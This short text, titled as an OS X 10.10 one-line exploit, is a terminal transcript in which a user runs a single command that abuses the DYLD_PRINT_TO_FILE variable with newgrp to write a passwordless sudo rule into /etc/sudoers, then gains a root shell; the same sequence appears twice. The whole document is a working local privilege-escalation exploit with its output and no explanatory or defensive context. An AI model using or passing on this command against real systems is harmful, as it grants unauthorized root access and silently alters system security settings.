OSX 10.10 one line exploit
[email protected]:~/Desktop$ whoami
bbk
[email protected]:~/Desktop$ echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s
[email protected]:~/Desktop$ whoami
root
[email protected]:~/Desktop$ whoami
bbk
[email protected]:~/Desktop$ echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s
[email protected]:~/Desktop$ whoami
root